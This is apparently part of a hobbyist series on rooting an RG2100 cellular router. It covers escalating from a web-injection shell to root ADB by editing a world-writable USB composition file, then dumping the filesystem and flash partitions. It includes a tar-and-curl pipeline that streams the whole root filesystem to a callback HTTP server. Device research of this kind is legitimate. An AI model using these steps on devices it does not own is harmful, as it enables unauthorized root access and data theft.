A www-data reverse shell is useful for enumeration, but the RG2100 also exposes root ADB through a surprisingly simple USB composition change.
USB composition control
USB mode is controlled by:
/etc/data/default_usb
On this unit the file permissions were unexpectedly permissive:
-rwxrw-rw- 1 radio radio /etc/data/default_usb
So even though the web command-execution path was not root, changing the next USB composition was practical from the web shell.
Useful composition values
Several values appeared during testing:
9059
9057
4EE7
902D
The important ones:
| Value | Composition |
|---|---|
902D | RNDIS + DIAG + ADB |
9059 | DIAG + ADB + RNDIS/ECM |
4EE7 | ADB composition that worked cleanly on this unit |
Setting 4EE7 exposed ADB:
echo 4EE7 > /etc/data/default_usb
sync
After reconnecting USB:
adb devices
showed:
43dbf9b9 device
Root shell over ADB
The ADB shell was already root:
adb shell id
Output:
uid=0(root) gid=0(root) groups=1004,1007,1011,1015(sdcard),1028,3001,3002,3003(inet),3006
Kernel information:
adb shell 'uname -a'
Output:
Linux sdxlemur 5.4.180 #1 PREEMPT Fri Sep 23 00:46:25 UTC 2022 armv7l GNU/Linux
Note: the stock reboot command was not present in the shell environment. If you change USB modes and lose your easy access path, you may need the web UI, the power button, or another service route to reboot.
After confirming root ADB, I set the next boot back to a more useful composite mode:
echo 9059 > /etc/data/default_usb
sync
Later, 902D also worked successfully for an ADB-capable composition.
Broad filesystem dump via web injection
Before changing anything persistent, I wanted a local copy of as much of the device as possible.
The first broad dump used the web command injection and a callback HTTP server. The host served a script; the device fetched it through the injected filename, ran it, and streamed a tarball back:
tar -czf - \
--exclude=/dev \
--exclude=/proc \
--exclude=/sys \
--exclude=/run \
--exclude=/tmp \
--exclude=/var/volatile \
/ 2>/tmp/rg2100-dump.err |
curl -sS --max-time 1800 \
-X POST \
--data-binary @- \
http://192.168.0.174:8001/dump
That produced a readable filesystem archive:
dumps/rg2100-rootfs-readable-20260530-144802.tar.gz
Structured root backup over ADB
Once ADB was available, I took a more structured root backup:
dumps/adb-root-backup-20260530-190321/
Contents included:
root-adb-state.txt
ubi-and-device-hashes.txt
usb-adbd-state.txt
files/root-mutable-files.tar.gz
mtd/mtd0-sbl.bin
mtd/mtd1-mibib.bin
mtd/mtd17-boot.bin
mtd/mtd20-modem.bin
mtd/mtd21-misc.bin
mtd/mtd23-recovery.bin
mtd/mtd24-fota.bin
mtd/mtd25-recoveryfs.bin
...
The partitions most relevant to later OTA work were:
mtd23-recovery.bin
mtd24-fota.bin
mtd25-recoveryfs.bin
Extracting recoveryfs yielded the recovery scripts and signing material needed to understand the update process, including the recovery-side find_recovery_partitions.sh script.
A caveat on modem backups
I did not treat this as a complete modem/EFS/QCN backup. The Linux filesystem and MTD dumps are very useful, but Qualcomm modem NV is its own world. For anything involving hidden modem state, a proper DIAG/QCN backup would still be preferable.
Continue to Part 4: SIM Unlock and Debranding.